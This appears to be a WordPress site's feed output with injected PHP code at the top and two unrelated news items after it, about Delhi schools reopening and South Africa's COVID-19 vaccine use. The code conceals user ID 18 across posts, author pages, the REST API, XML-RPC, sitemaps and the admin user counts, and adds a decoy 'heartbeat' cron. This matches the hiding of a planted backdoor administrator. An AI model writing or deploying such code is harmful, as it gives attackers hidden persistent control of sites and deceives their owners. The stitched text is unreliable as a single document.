add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Covid-19: Sisodia has said that all Delhi schools will resume on Monday appeared first on The Edge Media.
]]>
In-person classes are currently only allowed in New Delhi schools for students in Class 9 and higher.
After attending Wednesday’s meeting of the DDMA, Manish Sisodia said: “The government, the officials in the Delhi Disaster Management Authority (DDMA), and experts are of the opinion that suspension of in-person classes in schools is tremendously affecting overall growth in children. The authority feels it is now safe to restart schools fully. From November 1, all public and private schools will be allowed to open all classes for in-person attendance.”
The post Covid-19: Sisodia has said that all Delhi schools will resume on Monday appeared first on The Edge Media.
]]>The post South Africa indicates that it may resume using AstraZeneca vaccine appeared first on The Edge Media.
]]>Newly appointed South African health minister Joe Phaahla told a press briefing the government was planning to start using other vaccines, including Sinovac and AstraZeneca vaccine.
“It was approved … also that the AstraZeneca vaccine, which has now been shown to be effective against the Delta variant, that we should also look at bringing it back into use,” Phaahla said.
Earlier this year, the South African government halted the use of Covishield, a version of AstraZeneca vaccine manufactured by Pune-based Serum Institute of India (SII), after a study showed the vaccine provided minimal protection against mild to moderate illness caused by the Beta variant. South Africa sold the Covishied doses it had purchased from SII to African Union.
The South African health minister’s remark suggests the country may consider using the AstraZeneca Covid-19 vaccine again, given its high level of effectiveness against the Delta variant which is swiftly becoming the dominant strain across the world. A recent study of real-world data from Canada showed one dose of AstraZeneca’s Vaxzevria helped reduce hospitalisations or deaths by 87%.
As Johnson & Johnson has applied for emergency use approval in India for its single-shot Covid-19 vaccine, its efficacy against variants announced by South Africa is encouraging. Glenda Gray, the joint lead investigator of Johnson & Johnson’s vaccine trial in South Africa, said that the single-shot vaccine offers protection against severe disease and death.
Gray told a media briefing that J&J shot, which is being used in the national vaccine programme alongside Pfizer’s, offered 67% efficacy against infection when the Beta variant dominates and about 71% when the Delta variant dominates.
Consistently after receiving the vaccine, there was very little death occurring in the vaccinated group as compared to the control group and showing a remarkable up to 96.2% protection against death,” Gray said.
(With inputs from agencies)
The post South Africa indicates that it may resume using AstraZeneca vaccine appeared first on The Edge Media.
]]>